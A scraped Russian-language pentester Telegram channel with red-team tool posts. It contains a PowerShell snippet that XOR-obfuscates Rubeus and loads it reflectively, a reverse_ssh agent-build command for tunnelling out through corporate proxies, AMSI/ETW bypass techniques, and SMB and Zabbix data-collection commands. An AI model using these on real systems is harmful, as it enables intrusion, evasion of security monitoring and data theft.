Чтобы было под рукой.
#xor #encode #bypass
$key = [byte][char]'A'; [byte[]]$data = Get-Content "C:\users\lab\desktop\redteam\Rubeus.exe" -Encoding Byte; $xored = $data | ForEach-Object { $_ -bxor $key }; [Convert]::ToBase64String($xored) | Set-Content "encoded.txt"
$key = [byte][char]'A'; $b64 = Get-Content "encoded.txt"; $bytes = [Convert]::FromBase64String($b64); $decoded = $bytes | ForEach-Object { $_ -bxor $key }; [System.Reflection.Assembly]::Load([byte[]]$decoded)#xor #encode #bypass
🔥1😍1
Многие спрашивают "как вкатиться в ИБ?", "сложно ли это?", "Какая у тебя зарплата?" и т.д.
В данной статье развеивается ряд мифов и даются ответы на ряд вопросов.
https://habr.com/ru/companies/netologyru/articles/956702/
В данной статье развеивается ряд мифов и даются ответы на ряд вопросов.
https://habr.com/ru/companies/netologyru/articles/956702/
Хабр
Вся правда о карьере в ИБ: разбираем мифы про хакеров и высокие зарплаты
Кибербезопасность сегодня выглядит как одна из самых заметных сфер в IT: о ней много говорят, специалистов не хватает, а зарплаты обсуждают даже в общих чатах...
Кто до сих пор думает, что айтишники много получают... вот типичный представитель redteam-команды.
Всем привет!
Когда-то мы с ребятами из RTB обсуждали возможность релея на HTTPS и наличие EPA. Мы остановились на том, что пока нет утилит для получения информации о наличии данного механизма и его статусе.
Так вот, ребята из specterops поресерчили и выкатили статью и утилиту для исследования HTTPS и MSSQL.
https://specterops.io/blog/2025/11/25/less-praying-more-relaying-enumerating-epa-enforcement-for-mssql-and-https/
Тулза
https://github.com/zyn3rgy/RelayInformer
Когда-то мы с ребятами из RTB обсуждали возможность релея на HTTPS и наличие EPA. Мы остановились на том, что пока нет утилит для получения информации о наличии данного механизма и его статусе.
Так вот, ребята из specterops поресерчили и выкатили статью и утилиту для исследования HTTPS и MSSQL.
https://specterops.io/blog/2025/11/25/less-praying-more-relaying-enumerating-epa-enforcement-for-mssql-and-https/
Тулза
https://github.com/zyn3rgy/RelayInformer
1👍4🔥4
👋 Всем привет!
Сталкивались с ситуацией, когда в организации грамотно настроен выход в интернет?
Сценарий такой:
🔒 По умолчанию доступ в интернет с хостов запрещен.
🌐 Есть корпоративный прокси-сервер с обязательной аутентификацией.
🤔 Да ещё и только по протоколу Kerberos (Negotiate), и не каждому пользователю разрешён выход.
Итак, что делать, если вы получили доступ к хосту от имени доменного пользователя, которому разрешён выход в интернет? Мне сразу же хочется пробросить сессию наружу, запроксироваться и закрепиться тихо и надолго. 😄
💡 Поиск решения
Я перебрал много известных инструментов, но не нашёл ничего подходящего. Большинство решений поддерживают только NTLM или Basic аутентификацию, либо вообще не умеют работать с прокси.
Пришла идея написать небольшой прокси-сервер-прослойку, который бы принимал соединения без аутентификации и сам проходил её на корпоративном прокси. Но встал вопрос: откуда брать учетные данные?
🛠 Первые шаги
Нашёлся старый, но рабочий репозиторий — win-auth-proxy (ссылка). Автор реализовал извлечение дескриптора учётных данных из текущей сессии пользователя с помощью winapi функции AcquireCredentialsHandle, а затем использовал InitializeSecurityContext для аутентификации на проксе.
Скомпилировал его, почти ничего не меняя, и — о чудо, всё завелось! ✨ Но тащить два бинаря на хост показалось не очень элегантным решением.
🚀 Идеальный инструмент
Тут я вспомнил про замечательный инструмент reverse_ssh (ссылка). Он тихий и поддерживает всё, что нужно:
- Интерактивную сессию
- Проксирование
- Проброс портов
- Передачу файлов
В общем, всё, что может обычный SSH. Я форкнул репозиторий и добавил необходимые доработки для аутентификации на прокси с использованием текущих учётных данных пользователя Windows.
Отдельно стоит упомянуть гибкость транспортов. Инструмент умеет работать не только по чистому TCP, но и заворачивать трафик в HTTP, HTTPS, TLS, WS (WebSocket) и WSS. Это критически важно для обхода DPI и маскировки под легитимный веб-трафик в жестко контролируемых сетях.
Позже один молодой эксперт (nollium) доработал инструмент, добавив аутентификацию через NTLM с указанием кредов. Что удобно для запуска, например с linux систем.
💪 Финальный штрих
Я столкнулся с проблемой, когда прокси-сервер находится в одном домене AD, а пользователь — в другом. Происходила ошибка из-за неверного выбора realm. Эту проблему я тоже исправил.
Чтобы использовать фичу, достаточно добавить флаг
Теперь у нас есть мощный инструмент, который поможет пробить стену!
PS. Все изменения уже доступны в оригинальном репозитории. Пользуйтесь на здоровье!
#pentest #redteam #proxy #kerberos #ssh #infosec #bypass #auth #negotiate
Сталкивались с ситуацией, когда в организации грамотно настроен выход в интернет?
Сценарий такой:
🔒 По умолчанию доступ в интернет с хостов запрещен.
🌐 Есть корпоративный прокси-сервер с обязательной аутентификацией.
🤔 Да ещё и только по протоколу Kerberos (Negotiate), и не каждому пользователю разрешён выход.
Итак, что делать, если вы получили доступ к хосту от имени доменного пользователя, которому разрешён выход в интернет? Мне сразу же хочется пробросить сессию наружу, запроксироваться и закрепиться тихо и надолго. 😄
💡 Поиск решения
Я перебрал много известных инструментов, но не нашёл ничего подходящего. Большинство решений поддерживают только NTLM или Basic аутентификацию, либо вообще не умеют работать с прокси.
Пришла идея написать небольшой прокси-сервер-прослойку, который бы принимал соединения без аутентификации и сам проходил её на корпоративном прокси. Но встал вопрос: откуда брать учетные данные?
🛠 Первые шаги
Нашёлся старый, но рабочий репозиторий — win-auth-proxy (ссылка). Автор реализовал извлечение дескриптора учётных данных из текущей сессии пользователя с помощью winapi функции AcquireCredentialsHandle, а затем использовал InitializeSecurityContext для аутентификации на проксе.
Скомпилировал его, почти ничего не меняя, и — о чудо, всё завелось! ✨ Но тащить два бинаря на хост показалось не очень элегантным решением.
🚀 Идеальный инструмент
Тут я вспомнил про замечательный инструмент reverse_ssh (ссылка). Он тихий и поддерживает всё, что нужно:
- Интерактивную сессию
- Проксирование
- Проброс портов
- Передачу файлов
В общем, всё, что может обычный SSH. Я форкнул репозиторий и добавил необходимые доработки для аутентификации на прокси с использованием текущих учётных данных пользователя Windows.
Отдельно стоит упомянуть гибкость транспортов. Инструмент умеет работать не только по чистому TCP, но и заворачивать трафик в HTTP, HTTPS, TLS, WS (WebSocket) и WSS. Это критически важно для обхода DPI и маскировки под легитимный веб-трафик в жестко контролируемых сетях.
Позже один молодой эксперт (nollium) доработал инструмент, добавив аутентификацию через NTLM с указанием кредов. Что удобно для запуска, например с linux систем.
💪 Финальный штрих
Я столкнулся с проблемой, когда прокси-сервер находится в одном домене AD, а пользователь — в другом. Происходила ошибка из-за неверного выбора realm. Эту проблему я тоже исправил.
Чтобы использовать фичу, достаточно добавить флаг
--use-kerberos при генерации агента:link --https --name main_agent --use-kerberos --proxy http://proxy.example.com:8080 --goos windows
Теперь у нас есть мощный инструмент, который поможет пробить стену!
PS. Все изменения уже доступны в оригинальном репозитории. Пользуйтесь на здоровье!
#pentest #redteam #proxy #kerberos #ssh #infosec #bypass #auth #negotiate
🔥8❤3👨💻2👍1
Всех сердечно поздравляю с Рождеством Христовым!
Ещё 7 числа поздравлю.
Ещё 7 числа поздравлю.
1❤12
Выкатил PR в NetExec: модуль rdpcache — вытаскиваем и разбираем RDP Bitmap Cache с удалённых Windows по SMB.
Если коротко: RDP-кэш — это 64×64 тайлы (фрагменты экрана), которые клиент складывает «для оптимизации». Иногда эта оптимизация оптимизирует ещё и расследование: в тайлах остаются куски UI, имена файлов/окон, элементы интерфейса и фрагменты вывода команд.
Что делает модуль:
- Enum RDP-настроек из реестра: client/server конфиг, NLA, порт.
- Достаёт историю RDP-коннектов (MRU) из всех пользовательских профилей.
- Скачивает Cache*.bin и bcache*.bmc, парсит, режет в 64×64 и собирает коллажи для быстрого просмотра (опционально).
Как использовать:
Опции (если хочется аккуратно автоматизировать под себя):
- OUTPUT=...
- USERS=all|user1,user2
- COLLAGE=False (если не хочется «обоев»)
- COLLAGE_WIDTH=24
- SMART=True (сортировка тайлов по яркости — визуально быстрее выцеплять полезное)
pillow нужен только если генерировать картинки/коллажи.
PR: https://github.com/Pennyw0rth/NetExec/pull/1075
#redteam #pentest #netexec #rdp #dfir
Если коротко: RDP-кэш — это 64×64 тайлы (фрагменты экрана), которые клиент складывает «для оптимизации». Иногда эта оптимизация оптимизирует ещё и расследование: в тайлах остаются куски UI, имена файлов/окон, элементы интерфейса и фрагменты вывода команд.
Что делает модуль:
- Enum RDP-настроек из реестра: client/server конфиг, NLA, порт.
- Достаёт историю RDP-коннектов (MRU) из всех пользовательских профилей.
- Скачивает Cache*.bin и bcache*.bmc, парсит, режет в 64×64 и собирает коллажи для быстрого просмотра (опционально).
Как использовать:
# enum (default)
nxc smb <target> -u <user> -p <pass> -M rdpcache
# dump + извлечение и коллаж
nxc smb <target> -u <user> -p <pass> -M rdpcache -o ACTION=dump
Опции (если хочется аккуратно автоматизировать под себя):
- OUTPUT=...
- USERS=all|user1,user2
- COLLAGE=False (если не хочется «обоев»)
- COLLAGE_WIDTH=24
- SMART=True (сортировка тайлов по яркости — визуально быстрее выцеплять полезное)
pillow нужен только если генерировать картинки/коллажи.
PR: https://github.com/Pennyw0rth/NetExec/pull/1075
#redteam #pentest #netexec #rdp #dfir
1❤5🔥4👍3
Всем привет!
На одном redteam‑проекте я в бою раздобыл low‑priv учётку в Zabbix.
Вспомнил давние изыскания Zer0Way про заббикс.
Выяснилось, что на винде агент Zabbix крутится от SYSTEM (в данном конкретно случае), и "посмотреть метрики" внезапно превращается в "а давай-ка аккуратно посмотрим файлики". 📁
Первые попытки делать это через веб‑морду были в духе "суп вилкой": вроде возможно, но удовольствие сомнительное. Поэтому я на коленке, с помощью ИИ, слепил себе нормальный терминальный интерфейс, чтобы не кликать по тысяче экранов ради одного конфига.
И, конечно, кульминация максимально жизненная: на терминальном сервере админов нашёлся пароль в обычном текстовом файле. 🔐
Ну а дальше — по накатанной...
Итак, Zabbix-FM — терминальный файловый менеджер для просмотра и скачивания файлов с удалённых хостов через Zabbix-сервер, используя механизм item.test (тот же, что кнопка Test в web‑UI).
Ограничения ⚙️
- Лимит размера: 64 KB по умолчанию (MaxItemSize), можно увеличить до 16 MB в zabbix_agentd.conf.
- Read‑only: запись файлов не поддерживается.
- Нужны API Token + логин/пароль от фронта (для item.test требуется роль Super Admin).
- Недодебажил моменты с кодировкой, а также кажется не грузит бинарные файлы. Хотя вроде пробовал в base64 указывать кодировку.
Может быть когда-нибудь допилю до чего-то более масштабного ;-)
https://github.com/durck/zabbix_fm
https://github.com/durck/zabbix_fm
https://github.com/durck/zabbix_fm
#zabbix #redteam #pentest #recon #python #windows #sysadmin
На одном redteam‑проекте я в бою раздобыл low‑priv учётку в Zabbix.
Вспомнил давние изыскания Zer0Way про заббикс.
Выяснилось, что на винде агент Zabbix крутится от SYSTEM (в данном конкретно случае), и "посмотреть метрики" внезапно превращается в "а давай-ка аккуратно посмотрим файлики". 📁
Первые попытки делать это через веб‑морду были в духе "суп вилкой": вроде возможно, но удовольствие сомнительное. Поэтому я на коленке, с помощью ИИ, слепил себе нормальный терминальный интерфейс, чтобы не кликать по тысяче экранов ради одного конфига.
И, конечно, кульминация максимально жизненная: на терминальном сервере админов нашёлся пароль в обычном текстовом файле. 🔐
Ну а дальше — по накатанной...
Итак, Zabbix-FM — терминальный файловый менеджер для просмотра и скачивания файлов с удалённых хостов через Zabbix-сервер, используя механизм item.test (тот же, что кнопка Test в web‑UI).
Ограничения ⚙️
- Лимит размера: 64 KB по умолчанию (MaxItemSize), можно увеличить до 16 MB в zabbix_agentd.conf.
- Read‑only: запись файлов не поддерживается.
- Нужны API Token + логин/пароль от фронта (для item.test требуется роль Super Admin).
- Недодебажил моменты с кодировкой, а также кажется не грузит бинарные файлы. Хотя вроде пробовал в base64 указывать кодировку.
Может быть когда-нибудь допилю до чего-то более масштабного ;-)
https://github.com/durck/zabbix_fm
https://github.com/durck/zabbix_fm
https://github.com/durck/zabbix_fm
#zabbix #redteam #pentest #recon #python #windows #sysadmin
❤5🔥5🤗2👍1👨💻1😘1
Всем привет!
Все сталкивались с ситуациями, когда в корпоративной среде используются в качестве ядра DFS (Distributed File System). Стандартный базовый инструмент для прогулки по корпоративным ресурсам (в обычном пентесте, про redteam ничего не говорю) - smbclient.py в impacket. Соответственно, при попытке перейти в DFS-директорию (когда папка физически располагается на другом файловом ресурсе), получали ошибку
Так вот, доработал его для полноценной поддержки DFS
Что умеет:
- ls помечает DFS-ссылки как [DFS]
- dfs_info <dir> показывает referral: targets + TTL
- cd <DFS-папка> (в режиме follow) сам делает переподключение к target и продолжает навигацию
- Nested DFS любой глубины (стек контекстов)
- Multi-target failover: упал target → пробуем следующий
- Health-check + auto-reconnect для кэшированных коннектов
- Корректная навигация через границы DFS-root: cd .., cd ../.., cd ../../other
- Работает и с Kerberos, и с NTLM (учётки переиспользуются)
- Кэширование подключений
OPSEC (важно):
Включение:
Мини-пример:
Реализация на уровне протокола: FSCTL_DFS_GET_REFERRALS (MS-DFSC).
https://github.com/durck/impacket
https://github.com/durck/impacket
https://github.com/durck/impacket
#impacket #smb #dfs #pentest #redteam
Все сталкивались с ситуациями, когда в корпоративной среде используются в качестве ядра DFS (Distributed File System). Стандартный базовый инструмент для прогулки по корпоративным ресурсам (в обычном пентесте, про redteam ничего не говорю) - smbclient.py в impacket. Соответственно, при попытке перейти в DFS-директорию (когда папка физически располагается на другом файловом ресурсе), получали ошибку
STATUS_PATH_NOT_COVERED.Так вот, доработал его для полноценной поддержки DFS
Что умеет:
- ls помечает DFS-ссылки как [DFS]
- dfs_info <dir> показывает referral: targets + TTL
- cd <DFS-папка> (в режиме follow) сам делает переподключение к target и продолжает навигацию
- Nested DFS любой глубины (стек контекстов)
- Multi-target failover: упал target → пробуем следующий
- Health-check + auto-reconnect для кэшированных коннектов
- Корректная навигация через границы DFS-root: cd .., cd ../.., cd ../../other
- Работает и с Kerberos, и с NTLM (учётки переиспользуются)
- Кэширование подключений
OPSEC (важно):
Автоматическое подключение к другому файловому хранилицу по-умолчанию выключено — чтобы не шуметь лишний раз.
Включение:
# CLI:
-dfs-follow # (разрешить автоматический переход по DFS при cd)
# В шелле:
dfs_mode on # (включить follow-режим в интерактивной сессии)
Мини-пример:
# ls
Projects [DFS]
# dfs_info Projects
Target: \\fileserver-01\Projects$ (TTL: 300)
# dfs_mode on
# cd Projects
[*] DFS target: \\fileserver-01\Projects$
Реализация на уровне протокола: FSCTL_DFS_GET_REFERRALS (MS-DFSC).
https://github.com/durck/impacket
https://github.com/durck/impacket
https://github.com/durck/impacket
#impacket #smb #dfs #pentest #redteam
1❤10🔥3👾1
🛡 AMSI Bypass via Page Guard
Patchless-техника обхода AMSI — без перезаписи байтов AmsiScanBuffer и без hardware breakpoints в базовом варианте.
Суть: через
Если исключение пришло именно на AmsiScanBuffer, хэндлер подменяет результат на
Так как guard-page — одноразовая ловушка, после первого срабатывания защита снимается. Поэтому в обработчике дополнительно используется Trap Flag: затем ловится
Итог: байты функции остаются нетронутыми, а Dr0–Dr3 в этом варианте не используются, поэтому исчезают артефакты, характерные для inline patching и классических HWBP-обходов. Но это не означает «недетектируемость» вообще — современные поведенческие детекты всё ещё возможны.
В улучшенном варианте (VEH²) hardware breakpoint выставляется прямо через CONTEXT.Dr* внутри самого VEH, без вызова SetThreadContext / NtSetContextThread. Это убирает один из заметных telemetry-path, на который отдельно обращают внимание исследователи.
📖 Research
🔗 shigshag.com/blog/amsi_page_guard
🔗 crowdstrike.com/blog/crowdstrike-investigates-threat-of-patchless-amsi-bypass-attacks/
💻 PoC
🔗 github.com/vxCrypt0r/AMSI_VEH
🔗 fluxsec.red/veh-squared-rust
#amsi #evasion #redteam #windows #maldev
Patchless-техника обхода AMSI — без перезаписи байтов AmsiScanBuffer и без hardware breakpoints в базовом варианте.
Суть: через
NtProtectVirtualMemory на страницу памяти, содержащую AmsiScanBuffer, ставится PAGE_GUARD. При доступе к этой странице возникает STATUS_GUARD_PAGE_VIOLATION, который перехватывается через VEH.
Если исключение пришло именно на AmsiScanBuffer, хэндлер подменяет результат на
AMSI_RESULT_CLEAN и делает early return, эмулируя завершение функции без патча её байтов.Так как guard-page — одноразовая ловушка, после первого срабатывания защита снимается. Поэтому в обработчике дополнительно используется Trap Flag: затем ловится
STATUS_SINGLE_STEP, и PAGE_GUARD навешивается повторно.
Итог: байты функции остаются нетронутыми, а Dr0–Dr3 в этом варианте не используются, поэтому исчезают артефакты, характерные для inline patching и классических HWBP-обходов. Но это не означает «недетектируемость» вообще — современные поведенческие детекты всё ещё возможны.
В улучшенном варианте (VEH²) hardware breakpoint выставляется прямо через CONTEXT.Dr* внутри самого VEH, без вызова SetThreadContext / NtSetContextThread. Это убирает один из заметных telemetry-path, на который отдельно обращают внимание исследователи.
📖 Research
🔗 shigshag.com/blog/amsi_page_guard
🔗 crowdstrike.com/blog/crowdstrike-investigates-threat-of-patchless-amsi-bypass-attacks/
💻 PoC
🔗 github.com/vxCrypt0r/AMSI_VEH
🔗 fluxsec.red/veh-squared-rust
#amsi #evasion #redteam #windows #maldev
1🔥8👏2
🛡 AMSI + ETW bypass via PAGE_GUARD + VEH
Написал реализацию на C++ техники из shigshag.com/blog/amsi_page_guard (спасибо ИИ😁)
Вместо патча байт функции — ставим PAGE_GUARD на страницу
AmsiScanBuffer. CPU кидает STATUS_GUARD_PAGE_VIOLATION до исполнения
первой инструкции. VEH перехватывает, пишет AMSI_RESULT_CLEAN в
output-параметр, эмулирует return. Trap Flag переприменяет PAGE_GUARD
через STATUS_SINGLE_STEP.
Расширил до generic движка — одним вызовом накрываем несколько таргетов:
• AmsiScanBuffer (amsi.dll) — результат всегда CLEAN
• EtwEventWrite (ntdll.dll) — телеметрия тихо дропается
Vs hardware breakpoints (DR0-DR7):
→ не трогаем debug-регистры (ниже detection surface)
→ не нужно ставить BP на каждый новый поток
→ байты функции не модифицируются (integrity checks проходят)
github.com/durck/amsi-pageguard-veh
#maldev #redteam #windows #amsi
Написал реализацию на C++ техники из shigshag.com/blog/amsi_page_guard (спасибо ИИ😁)
Вместо патча байт функции — ставим PAGE_GUARD на страницу
AmsiScanBuffer. CPU кидает STATUS_GUARD_PAGE_VIOLATION до исполнения
первой инструкции. VEH перехватывает, пишет AMSI_RESULT_CLEAN в
output-параметр, эмулирует return. Trap Flag переприменяет PAGE_GUARD
через STATUS_SINGLE_STEP.
Расширил до generic движка — одним вызовом накрываем несколько таргетов:
• AmsiScanBuffer (amsi.dll) — результат всегда CLEAN
• EtwEventWrite (ntdll.dll) — телеметрия тихо дропается
Vs hardware breakpoints (DR0-DR7):
→ не трогаем debug-регистры (ниже detection surface)
→ не нужно ставить BP на каждый новый поток
→ байты функции не модифицируются (integrity checks проходят)
github.com/durck/amsi-pageguard-veh
#maldev #redteam #windows #amsi
❤🔥4🔥1
В общем, есть такой скрипт - ultimate_nmap_parser (как-то так). Он парсит результаты nmap (в формате gnmap) и выдаёт файл, содержащий
#Заметки #oneliner #everyday
ip:port. Работает достаточно долго. Я написал однострочник, который работает во много-много раз быстрее.for i in `cat networks.gnmap | grep '/open/' | awk '{print $2}'`; do for j in `cat networks.gnmap | grep $i' ' | grep -oP '\d+(?=/open/)'`; do echo $i:$j >> ip_port.txt; done; done#Заметки #oneliner #everyday
1👍9🔥2
Forwarded from PT SWARM
🧑🚒 Our researcher Mikhail Sukhov shares his knowledge and experience in analyzing FreeIPA environments.
He also introduces his new tool, IPAHound 💪
Go ’n see the details ➡️ https://swarm.ptsecurity.com/thinking-in-graphs-with-ipahound/
He also introduces his new tool, IPAHound 💪
Go ’n see the details ➡️ https://swarm.ptsecurity.com/thinking-in-graphs-with-ipahound/
❤1👍1🔥1
Выкатил небольшую тулзу для анализа AppLocker-политик — AppLocker Viewer 🛠.
Суть:
Скармливаете ей XML от Get-AppLockerPolicy, и она сразу показывает, где защита реально держит периметр, а где админы оставили удобные форточки для обхода 🔓.
Что внутри:
- CLI для парсинга, фильтрации и выгрузки результатов в таблицу, JSON или CSV 📊.
- Поиск рисков (сразу подсветит writable paths, слишком широкие маски, LOLBins и правила в AuditOnly) ⚠️.
- Diff двух политик — удобно смотреть, что поменялось «до/после» 🔄.
- Автономный HTML-вьювер — работает прямо в браузере, без серверов и зависимостей 🌐. Поддерживает drag-n-drop, пресеты и AND/OR-фильтры.
Всё работает полностью офлайн, данные никуда не стучат 🔇.
Отлично зайдет для red team, аудитов, ревью харденинга или просто чтобы быстро разобраться, что происходит с политиками на проекте 🛡.
🔗 Забирать тут: github.com/durck/applocker-viewer
Суть:
Скармливаете ей XML от Get-AppLockerPolicy, и она сразу показывает, где защита реально держит периметр, а где админы оставили удобные форточки для обхода 🔓.
Что внутри:
- CLI для парсинга, фильтрации и выгрузки результатов в таблицу, JSON или CSV 📊.
- Поиск рисков (сразу подсветит writable paths, слишком широкие маски, LOLBins и правила в AuditOnly) ⚠️.
- Diff двух политик — удобно смотреть, что поменялось «до/после» 🔄.
- Автономный HTML-вьювер — работает прямо в браузере, без серверов и зависимостей 🌐. Поддерживает drag-n-drop, пресеты и AND/OR-фильтры.
Всё работает полностью офлайн, данные никуда не стучат 🔇.
Отлично зайдет для red team, аудитов, ревью харденинга или просто чтобы быстро разобраться, что происходит с политиками на проекте 🛡.
🔗 Забирать тут: github.com/durck/applocker-viewer
🔥7
🧦 Запилил proxykit — маленькую Go-библиотеку для исходящих соединений через прокси.
Стандартный
Что умеет:
🔌 Транспорты: HTTP/HTTPS CONNECT, SOCKS5, Direct
🔍 Автодетект системного прокси на всех трёх ОС: env-переменные, Windows WinINET + WinHTTP (реестр + IE), Linux /etc/environment + GNOME + KDE, macOS scutil
🔐 Авторизация: Basic и NTLM с явными кредами — или доменный SSO без пароля (Negotiate/Kerberos: на Windows через SSPI, на Linux/macOS через gokrb5)
📜 PAC/WPAD: выбор прокси под каждый адрес назначения (opt-in)
🪶 Без cgo, статичный бинарь, минимум зависимостей
API drop-in: Dialer в стиле net.Dial + адаптер под http.RoundTripper. Три строчки — и приложение само берёт прокси из системы:
А если прокси за корпоративной аутентификацией — отдаёшь цепочку, и proxykit сам подберёт схему под то, что прокси просит в ответ 407 (аутентификаторы — в подпакете proxykit/auth):
В комплекте CLI proxytest — покажет, откуда какой прокси прилетел.
Пока v0.x, API ещё устаканивается. MIT, чистый Go.
👉 github.com/durck/proxykit
Стандартный
net/http умеет в прокси ровно одно — прочитать HTTP_PROXY из окружения. А за корпоративным прокси начинается боль: настройки спрятаны в реестре Windows, в GNOME/KDE, в scutil на маке; авторизация по NTLM или Kerberos; маршрут выбирает PAC-скрипт. proxykit закрывает именно этот разрыв.Что умеет:
🔌 Транспорты: HTTP/HTTPS CONNECT, SOCKS5, Direct
🔍 Автодетект системного прокси на всех трёх ОС: env-переменные, Windows WinINET + WinHTTP (реестр + IE), Linux /etc/environment + GNOME + KDE, macOS scutil
🔐 Авторизация: Basic и NTLM с явными кредами — или доменный SSO без пароля (Negotiate/Kerberos: на Windows через SSPI, на Linux/macOS через gokrb5)
📜 PAC/WPAD: выбор прокси под каждый адрес назначения (opt-in)
🪶 Без cgo, статичный бинарь, минимум зависимостей
API drop-in: Dialer в стиле net.Dial + адаптер под http.RoundTripper. Три строчки — и приложение само берёт прокси из системы:
d := proxykit.NewDialer(proxykit.Config{AutoDetect: true})
conn, err := d.DialContext(ctx, "tcp", "example.com:443")А если прокси за корпоративной аутентификацией — отдаёшь цепочку, и proxykit сам подберёт схему под то, что прокси просит в ответ 407 (аутентификаторы — в подпакете proxykit/auth):
d := proxykit.NewDialer(proxykit.Config{
Manual: "http://proxy.corp:8080",
Auth: []auth.Authenticator{
auth.Negotiate("HTTP/proxy.corp.local"), // доменный SSO, без пароля
auth.NTLM("CORP", "alice", "secret"), // иначе — NTLM
auth.Basic("alice", "secret"), // иначе — Basic (только под https)
},
})В комплекте CLI proxytest — покажет, откуда какой прокси прилетел.
Пока v0.x, API ещё устаканивается. MIT, чистый Go.
👉 github.com/durck/proxykit
🔥7
Pentester`s Notes
#rbcd #relay #ntlmrelayx #upn #nospn #lpe При наличии возможности вызвать relay на ldap от имени машинной УЗ (например, при включенном WebDav), машинную УЗ можно скомпрометировать. Основная причина заключается в том что, машинная уз может сама себе устаналивать…
Ооо, доработали Netexec для простой реализации этой техники😁
SPN-less RBCD with NetExec🔥
While classic RBCD requires a computer account, you can use U2U authentication to perform RBCD with a normal user account, if a computer account is not available.
Thanks to @azoxlpf, you can now perform this attack with NetExec as well🚀
https://x.com/i/status/2063651501982031926
(Не помню, что нужно писать, если упоминаешь ресурсы заблокированные в РФ, короче аккуратнее будьте)
SPN-less RBCD with NetExec🔥
While classic RBCD requires a computer account, you can use U2U authentication to perform RBCD with a normal user account, if a computer account is not available.
Thanks to @azoxlpf, you can now perform this attack with NetExec as well🚀
https://x.com/i/status/2063651501982031926
(Не помню, что нужно писать, если упоминаешь ресурсы заблокированные в РФ, короче аккуратнее будьте)
😁3🔥2🤝1
Интересный проект, позволяет двум ИИ мусолить какую-то тему и спорить между собой, приходя к каким-то более объективным результам. Но токены ест много (можно запускать, если лимиты остались, а потратить надо)
Статья:
https://jfmaes.me/blog/crossfire-when-one-llm-isnt-enough/
Проект:
https://github.com/jfmaes/crossfire
Статья:
https://jfmaes.me/blog/crossfire-when-one-llm-isnt-enough/
Проект:
https://github.com/jfmaes/crossfire
👍1🔥1